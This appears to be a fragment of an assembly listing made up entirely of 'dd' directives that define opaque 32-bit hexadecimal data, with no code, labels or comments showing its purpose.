dd 90CF6891h, 0AD724043h, 9862B027h, 4CF052ECh, 460150BFh
dd 0A21EA65Dh, 5392E026h, 6FCE35Dh, 74E8E2D4h, 1B981B48h
dd 7BA88883h, 22006309h, 0E7934940h, 2E15D078h, 40286572h
dd 45C7C0DAh, 40256E2h, 6137E408h, 0E08C602Fh, 909200C3h
dd 813C8B54h, 0DA06ABC9h, 7A1672B0h, 0D26E3108h, 2899CF49h
dd 24DBA0E0h, 0F85907FCh, 0C0B9E63Dh, 6E25D35Ch, 38E87600h
dd 0EC1E7AEAh, 0C831C993h, 494C8810h, 62A4B200h, 4ED8658Fh
dd 632000A9h, 60C9BFE7h, 44132F94h, 1C226D41h, 0FDB09038h
dd 2E390D3h, 80DA127Ah, 6C42248Eh, 0E060AC0h, 0A6A4E809h
dd 0BEF4980Bh, 152300E5h, 861D94EDh, 9809D944h, 19ACADC5h
dd 2E20C85Ch, 0D7B90008h, 9F63FC83h, 5564EE54h, 72401B88h
dd 0BF607033h, 0C567ED03h, 0C1E04792h, 0D071AD56h, 51856EE9h
dd 0D8E43FF6h, 7E00F9B0h, 0EFC16316h, 14614Ah, 13D74998h
dd 0C845D3Dh, 0E79B4202h, 4615DC70h, 0E875C0h, 0ABBEC55Dh
dd 7939311Dh, 595E8712h, 603804C8h, 3E58797Ah, 290E749Eh
dd 804DF833h, 3B085126h, 305E01D3h, 6FE24B1h, 0DC6248h
dd 842C8738h, 12670B52h, 45B3B5h, 77A40E3Ch, 0A900B7C0h
dd 1F170F7Eh, 0E76372C9h, 69220C23h, 0C56168F8h, 23860B19h
dd 7B65C014h, 0E0B06E12h, 671D44h, 8C4D585Eh, 0EA20BC03h
dd 6A95E41Ch, 985B018Bh, 7D219DFCh, 5E0A01AFh, 1A53F490h
dd 0FC707462h, 0F66AA608h, 226000E0h, 0EEC60142h, 41173B34h
dd 2CAD8C31h, 716DDCh, 9E97C654h, 54FFE07h, 390B3F7Ch
dd 8373FDD2h, 0DDF075A6h, 54A34084h, 33B25C04h, 0BB6AC013h
dd 0DC004E90h, 0AF022E10h, 586E2232h, 0AE0B984Fh, 0E85C5B8h
dd 0A36447BFh, 71E130C3h, 32003AF9h, 7F4149FAh, 4E6A73AFh
dd 715860D1h, 190CFB67h, 4869019Ah, 0D502881Ah, 0A00049F8h
dd 4A2ED775h, 0F4BC9C3h, 0A69362BFh, 2E7E8151h, 9AF083DAh
dd 3BE86Bh, 17D76A52h, 2BECC36Dh, 5860FA3Ch, 8DB7013Ah
dd 8C9E1B19h, 45809838h, 36A84766h, 3C642508h, 91CF04F1h
dd 0E9E8E40Ah, 456088h, 0BD9B691Ah, 0B278B6B3h, 0F5DC9416h
dd 62727007h, 0BF16704Ah, 8C9CE5C4h, 0CFB0017Eh, 80D27318h
dd 581080AEh, 92F3C126h, 0B046708Ah, 0AFA60730h, 0EEE37A3Fh
dd 68088361h, 0EF69E8B5h, 0A600B3E0h, 0A920C513h, 74DE6AF3h
dd 1B39C2C6h, 1861FF75h, 803828ECh, 0E30BD387h, 181AFC33h
dd 10CA77A5h, 0E400760Ah, 60C5589Dh, 7E7A6A3h, 0F21ED6C7h
dd 0F3F1936Bh, 0C25BA0A0h, 43BF5104h, 78B45657h, 457F1D85h
dd 0EEF0F33h, 36A7E260h, 0EC07CEB6h, 89145395h, 4DEEC061h
dd 38268C22h, 0D1F80F4h, 3D4C3477h, 0E59AE700h, 0CE1457E4h
dd 0A5FC09D7h, 0CC00D221h, 9AC40C64h, 8F1CBBF4h, 709DB81Ch
dd 694F7D40h, 7CE8D787h, 0A0074CD0h, 5F5CFE80h, 0BC00E711h
dd 0AB3E32ACh, 35E16DDh, 0F36B21DCh, 0B5026Dh, 90BFDAF4h
dd 6A16E4F5h, 8C0180D3h, 765DECFh, 72380862h, 0D1D88580h
dd 0D2C43C8Eh, 4622E00h, 7AD62F16h, 0DADC0CBFh, 0F2317738h
dd 14464100h, 696D3DCBh, 23EF4E84h, 1AD92B5Ch, 394510C5h
dd 888072Dh, 85D260B5h, 0F5080151h, 220713E3h, 0F8726F0h
dd 9050943Eh, 220300F8h, 951733A8h, 0E4A35086h, 23080701h
dd 9993CFC8h, 14640029h, 11C1AD01h, 0A6F3C95Ch, 0B440EFECh
dd 38F444A8h, 0EF570AEBh, 17605C46h, 58CC02CEh, 64806971h
dd 0EE72EBE5h, 49104658h, 117EC74Ch, 4D03F090h, 37A9066h
dd 0A572ACFCh, 8C98DA97h, 0BD025F58h, 93CE2C23h, 0CF786866h
dd 463A4FEEh, 517238C8h, 842B2901h, 5E08339Fh, 2CC12CD4h
dd 2ECCD9Ch, 0CA23BF6Ah, 5F278084h, 0A9D0670Ch, 0C2C52DDAh
dd 96AD6C10h, 5F211012h, 33235800h, 91A41F4h, 2267B0E4h
dd 4023058Eh, 0B0AC3610h, 518A7ED8h, 37CB0044h, 8689BC46h
dd 0ACFA7000h, 917A30D9h, 0A7B40112h, 3FBF14E3h, 5043217h
dd 193C2FC5h, 5180A027h, 5810FAF4h, 25C08CD6h, 97E61374h
dd 0CAE5C007h, 9C53E47Fh, 0C843E087h, 53370FB2h, 0C09FDC76h
dd 0FFA9D5EFh, 7148B956h, 5ED7C388h, 4563A9A3h, 3CCB8DECh
dd 758059C0h, 0EF1AC1A0h, 1D093ADBh, 0E07E62ECh, 0E966CF08h
dd 6480D428h, 85E98BCCh, 0A317CA01h, 823DFE06h, 0B898C704h
dd 2A749C42h, 30E26F3Ch, 254090F1h, 0B5595175h, 0F8F502C0h
dd 60BA22B0h, 38AA09D8h, 0D78AE069h, 0F8B815h, 92293545h
dd 27FAA611h, 0DAC1FD0Ch, 81842h, 0A0FCCCA2h, 0AA90C6CFh
dd 699C43Bh, 0CE738824h, 5BC89E98h, 44E47D8h, 0E24D10C1h
dd 506D1D0Bh, 0C022C507h, 4C89B7DBh, 7B0D9830h, 41103083h
dd 0D0FC5DD1h, 0C85812C9h, 0DA944054h, 47B74190h, 12006A70h
dd 5562B0CFh, 0B1039AC5h, 0CBC80D4Ch, 0F4E3C569h, 0B9007440h
dd 3A234378h, 0D99196h, 0A81D3BA3h, 7262C760h, 63712A1Dh
dd 0B518392Dh, 167CAF0h, 20E549DAh, 716036A2h, 0A421AE1Ch
dd 3E231304h, 433F3C9Ch, 6D500018h, 5CD61DF8h, 8C3058B1h
dd 82AE9080h, 781E38F7h, 56148BE0h, 0B0B92408h, 3BDF0708h
dd 0E552121Dh, 7B406CA0h, 0D70028D4h, 0DCC14588h, 1DC546BFh
dd 8B20C77Ah, 3C40AE48h, 58A242EEh, 0E5403A80h, 0BE27991Eh
dd 3F5810C5h, 4E0B0745h, 0B3328DF1h, 0D9886D69h, 0BC3A3412h
dd 3BED0472h, 40C21039h, 16EC70FEh, 0D7C85CBFh, 4B4E1298h
dd 2BA8EBC0h, 8119A600h, 47EF5811h, 0DC220EA4h, 0E56356BCh
dd 794C2B38h, 19D722E8h, 197F92CFh, 0F03948h, 336CB042h
dd 0F014DAh, 0E675D2C6h, 2DC55EEFh, 9C64710Ch, 0EDA902Ch
dd 5C21E0B5h, 0CF406360h, 28A17095h, 73C210ECh, 2277000Bh
dd 89C60A7Ch, 0C9FE4A33h, 49296530h, 146B199h, 41EA7E3Fh
dd 2D0C6BE2h, 0ADA0C09Ch, 2D15F6Dh, 47C0B49Dh, 7848CD42h
dd 0D70C0B1Ah, 397283E2h, 37F68803h, 0AC7B1478h, 0E8C2E50Bh
dd 484809C3h, 44CBE0F0h, 0A0747C6h, 0EA4DBB0Bh, 194EEE41h
dd 1EC9E448h, 0E71E7C6Ah, 0DA40C420h, 4113AE9Ah, 9C305FB5h
dd 0FD2D3A0h, 0C86B8D54h, 0C5599AA0h, 29261999h, 6D402407h
dd 0D54904h, 0FD2CAF3Ch, 6615DEE1h, 42B0AB00h, 1D23F606h
dd 0C8CF18D7h, 3BA2A1C2h, 0D8867907h, 44399BF8h, 282200CCh
dd 6268308Fh, 24017F06h, 0EDCB9A60h, 4C381EEEh, 150B0280h
dd 5E1FFE75h, 9A80DAB9h, 2A5D4520h, 293A1240h, 0EA3806DEh
dd 5758F969h, 0CF3785A0h, 455F2480h, 36F626B4h, 75F93A13h
dd 454C98BEh, 701C6089h, 358BD88Bh, 0BD880EF8h, 40BECC11h
dd 31DB44FAh, 0C031BB37h, 65EBC89Bh, 0BED8E984h, 7E10C13Ah
dd 0BB08171Eh, 68CA000h, 0FF82FDA6h, 1DCF414h, 2C160089h
dd 9B3F1813h, 0B450DD5Bh, 7FA030B9h, 0AA79349Ch, 96B21316h
dd 2E4CC8h, 0F13248B0h, 0FB4BEA92h, 0CDD65B0Fh, 47D58711h
dd 0BEECE070h, 0B798DD31h, 1A2D6091h, 9F5B1F83h, 7FD7B420h
dd 4C0B77E3h, 28489045h
dd 293DC29Dh, 4880C9F8h, 3B8F64D3h, 0BFA8BC00h, 739AE555h
dd 67140483h, 0C8876148h, 0A913925Ch, 0EC0947E4h, 0CC9898BBh
dd 650E0038h, 3617325Fh, 0B6F8BD12h, 98C1F32Dh, 1DAD3760h
dd 449487D8h, 0E415DC71h, 0AF0E6700h, 0FD3F6C14h, 0FA7DD00h
dd 99E4721h, 60CC6AE1h, 0C7166180h, 48B462BFh, 3900E39Ch
dd 6BB971A0h, 20CD5B8Fh, 430BC02Ch, 0F63BA6F6h, 0E4BF8005h
dd 0E5175D9Ah, 0F5573A0Eh, 30489024h, 0F3C16831h, 3A969B0Eh
dd 695FE052h, 17C20FDAh, 22ED1D12h, 905AC81Ch, 2A0D9A03h
dd 9B9FCE66h, 1A94A15Fh, 0E459687Ch, 1C574E14h, 0C2418800h
dd 0E1C5A848h, 7CF0290Bh, 0AD5CB0B0h, 0BFC62555h, 0A9729444h
dd 6FEAB00h, 0F7CD4D9Ah, 0B7670287h, 5A3C7A49h, 0BB6024F8h
dd 0CF2F4341h, 0CB40056Ah, 0C1C4F104h, 3C951E20h, 0B051C024h
dd 0C71585h, 44803F07h, 0C05B9574h, 16478909h, 4C710Ah
dd 7FEAE167h, 510301B4h, 0DD66A4D6h, 50698865h, 0DB760020h
dd 0C0C88B26h, 83164340h, 48C08690h, 0B01E7B6Ah, 87E40C9Dh
dd 0E88085CBh, 98A69C01h, 0CE72685Ah, 42840868h, 16ADC30Dh
dd 0A29811B0h, 0F70126F2h, 690C15BFh, 0FC493FB6h, 0EE779830h
dd 0E02D16B2h, 8A81073h, 60DABE00h, 3045469Fh, 7C96922Ch
dd 0D8C8F512h, 6C772415h, 0D060813Ch, 426E760Ah, 99E02708h
dd 3CB8B8C7h, 9B74AA02h, 405F3E53h, 0D9AC084h, 80ED1E92h
dd 50787251h, 827AE6DEh, 0E314B100h, 67720BCAh, 71490BB2h
dd 8CC0AC65h, 27959BCFh, 7A505C84h, 90A51B0Ah, 0B0660A6Fh
dd 1308093Dh, 239017B6h, 9BA8E3F8h, 3A00AE3Dh, 6BF52BFFh
dd 3D9CE94Dh, 0D4873CA1h, 0C2F1C93Bh, 0B86CE5D0h, 80C4195Ch
dd 0D8C442ADh, 577C24E4h, 4FF74098h, 0BC01C133h, 0AC85573h
dd 0BC2D90CEh, 4234C86Ah, 2463B0DAh, 878E348Ah, 29A5DCh
dd 48688887h, 0B20B1287h, 5C48C932h, 39798020h, 0F59B606Ah
dd 0ECE952B0h, 4D01B1B8h, 0F25202D0h, 8089D948h, 9000C47Dh
dd 5163B610h, 0C501D090h, 0A31CE134h, 37D4DC91h, 47A1009Fh
dd 0E311C3C4h, 8677B293h, 1D25E801h, 6DBC511Fh, 97001C22h
dd 0CDBD46E9h, 0B0B1D9FCh, 0A5153808h, 0A24DECB0h, 0E4EB0B25h
dd 7520015Ch, 818086F8h, 0F74EE074h, 0E1701504h, 0C4CCE57Dh
dd 9CCF8091h, 0EC88724Ah, 0ECB488C1h, 3C44C216h, 0E4306003h
dd 1338262Eh, 0DA04CBE0h, 160A998h, 9AE726F6h, 707041B6h
dd 6C72886Ah, 494C0CBCh, 6D81C61Dh, 3A00B90Eh, 1CE833FCh
dd 0F5A57Dh, 0A98AD74Ah, 1177B24Bh, 0F3EE1D14h, 798433Ch
dd 0B4CCE6B7h, 45EEE2A1h, 0F680B47Ch, 0E8C6A694h, 555CC77Ch
dd 0C127C464h, 8009EA22h, 0CFD1A2F0h, 41AC016Eh, 614B6711h
dd 7C2C6380h, 2D03E47Ch, 0CCC683DAh, 0CBA6C0F2h, 41EE25CFh
dd 38C110A0h, 192C6D40h, 6C24A442h, 3000E611h, 0FBAF58A3h
dd 0CF16287Bh, 0D0024026h, 7B11C4F9h, 60678090h, 0A8103149h
dd 160C1E02h, 0E2991777h, 18986CD8h, 0D1D5C858h, 0B400F307h
dd 0B9D04784h, 0B3E60Ah, 0D3C21508h, 1EB614D8h, 0F0EE9924h
dd 6390D021h, 81589FC5h, 45CA9214h, 9AF80044h, 10C0CF0Ch
dd 25AC580h, 0F34ECBEFh, 61E95Fh, 9EE2107Fh, 767733Bh
dd 609AD849h, 0C82990F2h, 0E37B2AC4h, 0FC42EF29h, 3975380Ch
dd 0A0E07Ah, 572608B6h, 6D7F07ABh, 81259C9Ch, 52ADDE4Ch
dd 2344060h, 9C60C9D4h, 0B88472EAh, 1E90D147h, 5046EAEFh
dd 849374h, 3EB5E439h, 0EF0128B1h, 9E1DCA00h, 4142A45Dh
dd 9D8718C4h, 1C6260B5h, 6C7339C0h, 15067Dh, 0B4477720h
dd 3751BD18h, 3AEF9B12h, 0C9CA3821h, 989A63D8h, 0FDC22230h
dd 0D60B1A02h, 7438F3DEh, 10AE4784h, 0CEE2DBB2h, 33B6493Ah
dd 80CDC12Eh, 361CD0h, 104323EFh, 5AAD59CCh, 32183F01h
dd 4584221Eh, 4CF1DCh, 29E0AC4Dh, 0E3F8DCDEh, 0F0725FF8h
dd 20019890h, 0B1727460h, 0D432096Bh, 522F7450h, 8500C06Ch
dd 0F4B737C8h, 2D004559h, 0A1CF9CFFh, 486C7B74h, 650BA4F2h
dd 8C690B18h, 0BF671701h, 50449Bh, 3B487F89h, 531554B6h
dd 44C7BB00h, 0F13DFAC9h, 9707E83h, 40C65B75h, 5D76C884h
dd 818F5F85h, 0F058B0E3h, 0A711FC02h, 38EC6901h, 0F05CE200h
dd 52D0BC2Bh, 0A4D80015h, 0FCED45BDh, 0E100F980h, 0A96917C9h
dd 0ED3862C0h, 90103474h, 13DB2074h, 57C6DA16h, 6D5F64D0h
dd 387500ABh, 0FD8C0CEDh, 661F70FAh, 4603EFECh, 94CDC76Ah
dd 390CCh, 83878825h, 0CE2218B0h, 491B9127h, 0DC10ED08h
dd 3401B9DEh, 93E9CAD1h, 41E8DF06h, 42BD04F7h, 0B0F46171h
dd 0A0B07DECh, 9F28B897h, 9A840035h, 0D0044402h, 640E5DEAh
dd 0C0DDB8A5h, 56DF59DBh, 48A834EBh, 0C80CC8F4h, 1820C34Fh
dd 2798AF4h, 80ABEC05h, 0C07AD59Ch, 27A84900h, 6B11BA32h
dd 829100D4h, 19CA08DBh, 34B1F31Dh, 7065CF84h, 0BE0468B8h
dd 49114DEFh, 0E4FC84B5h, 9CC71CCCh, 96BDE094h, 0A2013869h
dd 7CB07AFCh, 0EC201859h, 2065F4F7h, 0E05CC5F9h, 0D45630CFh
dd 9DBF0429h, 69E4EC38h, 0C1E87A7Eh, 0E050A550h, 63C98B03h
dd 298A6DD7h, 80A4BF99h, 8486D3D4h, 1B1EA87Bh, 6405FA4h
dd 0F8E78580h, 137673AAh, 95CCE0B0h, 11489070h, 0BAFAC77Eh
dd 0A09FC4E8h, 80606F18h, 6632006Ch, 61B4F8EBh, 11C26B68h
dd 59BD4896h, 0F75500C4h, 47F6E87Dh, 35D07400h, 4017F822h
dd 8B150930h, 90D9DD46h, 0FF89E300h, 6A96E5h, 0B52911B8h
dd 0CF347469h, 0FAB698A0h, 0C1BC4C1Eh, 0F3BB7000h, 35898C0h
dd 0E0096D86h, 2080C882h, 2098231Dh, 0FEF01016h, 840D00BAh
dd 80E7AA6h, 51442A14h, 0CBE00C08h, 0B712911h, 0D9BDEC99h
dd 10D40050h, 10C8D2C4h, 5B82002Dh, 26F993BBh, 6B003A0Eh
dd 15C8FC07h, 9846EE60h, 8824971Fh, 3B135FE7h, 2539E0B2h
dd 0E279C48h, 6ADA84B8h, 6CE58000h, 0E1C6E2D3h, 5E4C0073h
dd 0E91E8B98h, 54B67D36h, 65D33C01h, 402EF7D9h, 0B1A6C22Ch
dd 6000C608h, 4E9093D6h, 6091AED4h, 4526100Bh, 0CA1E7A61h
dd 10005DBEh, 0C072BB41h, 9D11003Dh, 91884964h, 0C838F7C9h
dd 60F5AA1Dh, 24033842h, 447EF94h, 0C080114Ch, 0F2C7A826h
dd 249F0E53h, 12607978h, 63DFBF7Ah, 0EFBD740Ah, 28042441h
dd 7CC8173Eh, 325300A9h, 5F10C677h, 0DB0486E4h, 0E640E787h
dd 27CD40C2h, 1092B077h, 0D50955DEh, 0C69F17A8h, 0F3D10014h
dd 4E4D609Dh, 4500BFC4h, 9BAF413Dh, 946572EDh, 17378594h
dd 0CCD810C0h, 81123DC0h, 0E11FAE9Fh, 0D3DF4974h, 984E003Ch
dd 0FF17393Ah, 72CA129Dh, 0DA08206Ah, 1A00BE9Fh, 4E0D3944h
dd 14C0871Bh, 942B82E7h, 0B0E4511h, 512AF5BFh, 0D591001Ch
dd 3D814D2h, 0EE5A827h, 90005708h, 0D4596260h, 0C70C05D2h
dd 230B166h, 0BABE1F08h, 6032051h, 0CFD51533h, 0D4F280DFh
dd 1C14E0FBh, 44269EE7h, 41E498CFh, 739A8388h, 7208A477h
dd 7D81C462h, 7B9147E0h, 0A4C90892h, 0CA0036ECh, 90F52286h
dd 29A7BBh, 0A4A6E0A0h, 6A45B001h, 40954A12h, 590130B2h
dd 14627FFAh, 887957h, 6058F5A3h, 3AE04506h, 380046B2h
dd 0BF1C61BEh, 0D0A41830h, 0F55DC502h, 5092A6ECh, 779822D8h
dd 99667225h, 0F428E878h, 4894CF85h, 0AAC06C14h, 810CDC65h
dd 0E0703AC5h, 0A44ED1h, 84A90C55h, 788A69DAh, 90A2617Eh
dd 0B2C02410h, 0E0C91604h
dd 3B40C123h, 0D9666A51h, 0EEC3F30Bh, 0E0E54Fh, 6A04C67Ch
dd 0EF394196h, 0A303773Fh, 0B6DE5CFDh, 8162F8F3h, 80487F13h
dd 0D71F296Fh, 1443B163h, 0CB829675h, 0CEC2A88Dh, 0C04978Ah
dd 99CF60C8h, 4028B468h, 6088D530h, 0C08E9601h, 6B3E4DAFh
dd 62009822h, 0DE3F1385h, 0B7F8F3F6h, 904F58h, 0E8C071BBh
dd 915045C2h, 20FA2C14h, 29C53B34h, 0F1D16618h, 1E88E649h
dd 61E26BF4h, 6C389403h, 712E7E90h, 30C8624Bh, 9EB869Fh
dd 0A2C8202Eh, 621CC431h, 0E30E2D86h, 5A18800Fh, 9E1C3B53h
dd 0C33D42CCh, 49404074h, 7690DEh, 0F6EF7036h, 16F81AF5h
dd 9CCF3200h, 546608C9h, 5957667h, 4F43BF38h, 7850F23Fh
dd 402E4B03h, 8029D1D7h, 3D3B47h, 0F3B81060h, 3186F4E2h
dd 792EE5ECh, 7C20D0CEh, 63A2F000h, 7375B5CCh, 0AF9E5C1Eh
dd 981DE43Ch, 3DBF4F33h, 0BE6710C2h, 9C60985Eh, 1E02C95h
dd 82294A5Ch, 0D9C1A01Eh, 0C015ECF0h, 9F2DD002h, 6067F8A7h
dd 7F756204h, 5D9000D9h, 24ACDA7Dh, 0C30C8360h, 18FC0370h
dd 36B3029Eh, 0C98A88C6h, 50B49843h, 0F4C94F83h, 442050AFh
dd 0F9800DFCh, 2F08DD07h, 5C00F1C0h, 963C80Ch, 0E81EE50Ah
dd 62C714E9h, 0FB1600DCh, 86451C02h, 0C1F91C95h, 0ECF1C082h
dd 3B40C2D6h, 0CC6A3A26h, 0EE4028A9h, 496C122h, 2A1E837Bh
dd 0CA688261h, 8060F93Ah, 3EF3C96Ah, 0D4985A68h, 7A5C919Fh
dd 96193C32h, 29075003h, 501800B4h, 0FDE8826h, 20814A4Ah
dd 91153F54h, 2DC65700h, 17D9E97Fh, 0CE40260h, 0BD0BE37Eh
dd 6526946Eh, 0A56FFCD0h, 0F46C32h, 0E0E37657h, 43010B4Ch
dd 0D20EC2E5h, 0AF8C18Ch, 60007642h, 0AD911D21h, 0B8B847E4h
dd 387EBB04h, 94803A94h, 9742EE67h, 861C1C94h, 1AC01BF5h
dd 0EF97E346h, 64D8B6DDh, 3B70516Ch, 913D0Ch, 0E96F23Ah
dd 358F44Bh, 9F148A2Bh, 9908313h, 4313563Dh, 40520B0Ah
dd 19126C0Dh, 7380246Ch, 0FBB39180h, 0A196C90Fh, 3DB024ECh
dd 5E102088h, 3A108AB6h, 1C3C927Dh, 384DF020h, 68E005C3h
dd 81B90511h, 3D87EB7Ah, 0DE384470h, 68AC9E0Bh, 8CC20037h
dd 9CC9FD47h, 7C4880F8h, 0D367F9C7h, 9A921800h, 6D6CA67Ah
dd 258BF627h, 0E09ABF3Bh, 2C90D498h, 0A03DB202h, 0EE19FF1Ch
dd 65CB44F4h, 0AE43F500h, 5C8B6012h, 6CCD03ADh, 0E1EBF871h
dd 4B0AC6B0h, 443FB72Dh, 0B0BEE8A8h, 5C604440h, 2F386209h
dd 20C4641Eh, 0EAEC1598h, 38EF470Dh, 269299EDh, 1864D7F7h
dd 75AD4580h, 84FA22h, 31A58B33h, 0FE9EF5CCh, 1DB033Ch
dd 0CE392681h, 0C2CF795h, 83122058h, 0F3004E9h, 0D5848806h
dd 0A4372900h, 0E6F2EC0Eh, 1871C9h, 4D40C794h, 0C8915B63h
dd 6088154Bh, 0DB60038h, 2D40AA93h, 584F6B94h, 0EF24DC43h
dd 431BB9A4h, 3404E4FCh, 0C010BB60h, 0C9BF9914h, 0ABADF402h
dd 561FEF0Bh, 0A81B6094h, 0DC015FFBh, 0DD5BFDD6h, 7AF92DA6h
dd 4D3538C4h, 1C5E50E5h, 3346C00Ch, 4341F806h, 640BEA2Ch
dd 222AE451h, 0C40812D0h, 30327A16h, 101A11D4h, 1BA9BEh
dd 96DDC10Dh, 0D3CC8CD5h, 0E91ECF04h, 813BAF4h, 0E4A51C6Ch
dd 88710774h, 0A023F5C2h, 267BB6D3h, 6BF44053h, 16E80031h
dd 0C07D078Fh, 87358539h, 7CFCD130h, 64AE3700h, 761CB2B6h
dd 628001C6h, 0C0C83C0Ah, 3A24706Ah, 9F666809h, 867499AAh
dd 1D80230Ch, 891B5E0h, 84EF0C3Bh, 384230B2h, 9302E622h
dd 8F7B9D05h, 4450D892h, 905CCF1Ch, 7069C424h, 1A1FE4ACh
dd 0A444AF25h, 7400E179h, 43DE384Fh, 0AE6771h, 6B855F0Ch
dd 1814476Ch, 5FA4D80h, 9F60680Bh, 626802ACh, 0E0D41380h
dd 0ECC4A7h, 0C011244h, 8F171E20h, 5D2CC590h, 71F2641h
dd 940934D3h, 20C45Bh, 0D183530Dh, 376C5A8h, 0CED46100h
dd 0EEECD659h, 0A4FCB91Dh, 0C1FA0938h, 28136C6Eh, 18327C15h
dd 0BDC5200Eh, 0CE00BF17h, 19127963h, 52FBD6h, 0CA1F90C9h
dd 0A99DF49Ah, 949C2098h, 56720F40h, 0C55700D1h, 27139CA2h
dd 7D00883Ah, 443860CEh, 1EBA225Fh, 455CC38Dh, 8021E56Ch
dd 0B258F8E8h, 3C103300h, 0BD26B59Bh, 1E5A1D61h, 90EC4011h
dd 890557AEh, 57C7458h, 0C620BC5Fh, 7DBB51C0h, 90A45AC4h
dd 0E2846000h, 0BF46D500h, 6C6148F8h, 0CC11C9E1h, 1322F418h
dd 3E447E00h, 0D8614A47h, 9BCE000Bh, 1E3C3626h, 5E0012C6h
dd 253AE151h, 177D684Dh, 326B72CAh, 601994E8h, 79257E08h
dd 5244857h, 4094B98Ah, 0E1A4D6A0h, 618C3B12h, 6B0FE4F3h
dd 38E21583h, 0B320C2C8h, 2AE24F5h, 0CA8BD0D3h, 54440723h
dd 811DB23Fh, 0E2C67EC1h, 49A63C25h, 206E2D74h, 6A533B01h
dd 0C3F3A966h, 94802478h, 5A0EA31Bh, 98A14E07h, 62519F7Ch
dd 0DDF873C4h, 7264DC54h, 76C8D1h, 58FDCB81h, 386B4F77h
dd 0B0B04280h, 0CF44B456h, 8771E1BFh, 2730F1A1h, 0BCEC91E6h
dd 0FC94B044h, 0F3F1C1BDh, 0BF010032h, 0B5FEC632h, 36D820D2h
dd 28F88526h, 39F3B100h, 439F6768h, 908721A9h, 0F6BE021Bh
dd 0E49ACE2Ah, 3FA10028h, 402D325Fh, 1E0777DAh, 580AA80Ch
dd 6A55E282h, 258DEECh, 27EF354Dh, 85570A4h, 47EE09B9h
dd 0E2008C65h, 13A7ACBFh, 9B24005Ch, 2D3DD6F1h, 944E8157h
dd 183B9881h, 816B3811h, 0CADD3739h, 287CD4E5h, 742073E2h
dd 58A45Eh, 0B4B1D87Bh, 40CA6443h, 1CD87A4Eh, 2FC0C173h
dd 231C2BF7h, 5DA3002Ch, 3B291534h, 70652ECEh, 0E611D0h
dd 9B26E0BFh, 5BFFB84Ah, 0FA0823E5h, 18CF09ECh, 94D814h
dd 565FEB42h, 66C39602h, 0F331EF01h, 624757D9h, 830F2829h
dd 1A40B306h, 0F1FF89F2h, 3A9B1501h, 0E5BBA453h, 0FD0430h
dd 0E0369E0Bh, 29A7CF83h, 0DBFAFB03h, 0B8CD2C84h, 0BCC946h
dd 0F30DA87Ah, 17DDE25Fh, 0F9C6C00h, 7B882EA5h, 0F9727DD7h
dd 78C4A1A5h, 0EE4C4416h, 702FB503h, 9F2DF054h, 5A9C175Eh
dd 64610552h, 8214FDE2h, 0F61D1C2Ah, 57456004h, 96000EFCh
dd 836AC9EDh, 601148B0h, 60DA21C5h, 300945E5h, 7141461Dh
dd 0A2DFC0FCh, 0C8B3C630h, 74E2BF16h, 5F07E700h, 0CD2BB357h
dd 17AFC000h, 0A54C286h, 9C60E9ACh, 7DE60038h, 3E529F0Dh
dd 777C37ABh, 0A6876E0Fh, 666720D6h, 1D27ADBEh, 871D21F7h
dd 107D42A7h, 0DC8E5F12h, 39B4C000h, 0B6EF3A78h, 0B8AC0790h
dd 503E74E6h, 664C9F09h, 2D8DE800h, 171F6860h, 0F0C50973h
dd 5C566B48h, 0DD100151h, 51004655h, 0BDFABE0Fh, 7011AA09h
dd 3F8001EAh, 36B61876h, 93B07E44h, 8E90FA9h, 8B4152Ah
dd 1D226009h, 34CA5818h, 9FD54401h, 0C49343C7h, 6301506Ch
dd 86F506Ah, 1C6CEAF1h, 14458498h, 1C72EDF1h, 2843C80Ah
dd 55710BF0h, 0EE08B8C5h, 2B02BC4Ch, 530B138h, 10BF3BC0h
dd 0C6833B0Eh, 62545EC9h, 98C84A0Ch, 4179005Ah, 3961F65Fh
dd 56008BDBh, 0F40692B5h, 95699Bh, 5CB115CAh, 671C34EEh
dd 9C85F4Ch, 0A0076272h, 0EF2A7188h, 0DEFE23h, 5145A904h
dd 1FB08E8Bh, 9CA2607Eh, 0CBE00801h, 1229A61Dh, 0A53FA207h
dd 76603420h, 0FF4212FEh, 4A00F831h, 0FA0B488h, 0F9AF7123h
dd 4052C9E4h, 55A7B5DAh, 0F5C00044h, 3EBF1DDDh, 9E002612h
dd 49771BAEh, 0F834B1C8h, 0E4D2021Fh, 123817C9h, 0CB40B0D6h
dd 7963572Eh, 0FE2900A0h, 0E8259115h, 0B600C78Eh, 0DE6BDCEh
dd 0FAD74895h, 90D5E896h
dd 41490098h, 57786B11h, 3E4CEC0Ch, 1FF80012h, 0C54CADEDh
dd 7F700060h, 0DCEF597Dh, 0B338CDE0h, 0A5BE84CBh, 0ACA1C338h
dd 0D02046DDh, 50A590A6h, 1FFBA437h, 0EA7CBA1h, 64E2D339h
dd 510508D9h, 34A40810h, 64E229F8h, 2E5A740Fh, 5EE80820h
dd 20FEE55h, 29AF26A5h, 5C4431D8h, 0ED5C3718h, 7712A7D0h
dd 46FC612Dh, 0EAE42C7Eh, 47E70900h, 224EE536h, 1794009Fh
dd 9CAFB3BEh, 9D988E64h, 0EC61712Ch, 216ADA40h, 0FB251770h
dd 8EA891C0h, 0D7689469h, 1F6960A8h, 2C19CD08h, 48C0EC1Dh
dd 88690698h, 0B7A2D2h, 92E36A38h, 739A2DD9h, 7188744Ah
dd 0A21E120Ch, 8D80024h, 7BEC6168h, 306009BDh, 3854C713h
dd 22732D02h, 58C6EFh, 0EAF7CC0Dh, 0EBF88425h, 8E263C39h
dd 68AF1A32h, 0A0908E13h, 0DC7FFC80h, 48F08588h, 0CFB708A0h
dd 44259D4Eh, 0F6074400h, 9C0243D0h, 6851A5F4h, 4C8B5580h
dd 0D69005h, 0B50B7CEBh, 0BF51D2EFh, 6C095816h, 5EBDC020h
dd 979D00F9h, 86F1E7D1h, 820E902Ah, 8491A0E0h, 0D4E29524h
dd 0F7301C00h, 0B348AC71h, 535F7000h, 6BD4E152h, 2DB7386h
dd 7E311007h, 0A051CE2Eh, 94D03E00h, 1B4659Fh, 0B0C9A3A2h
dd 78F4D5D7h, 93A589F4h, 9891A754h, 0DC28B96Dh, 7DD6AC81h
dd 0D08C210Fh, 150166E0h, 0DDCE4D42h, 486E80E5h, 1E95FAF0h
dd 0F8728BF8h, 8CE44A08h, 6D146880h, 96F81399h, 49140408h
dd 28967082h, 4430AC84h, 0F4E89171h, 110B0A1Fh, 122B26CBh
dd 0E8608900h, 3BF7C641h, 0D8803619h, 4209EF13h, 0B41F07D4h
dd 0CB85234Dh, 0DC30FA43h, 275737EEh, 2464E899h, 180B1A08h
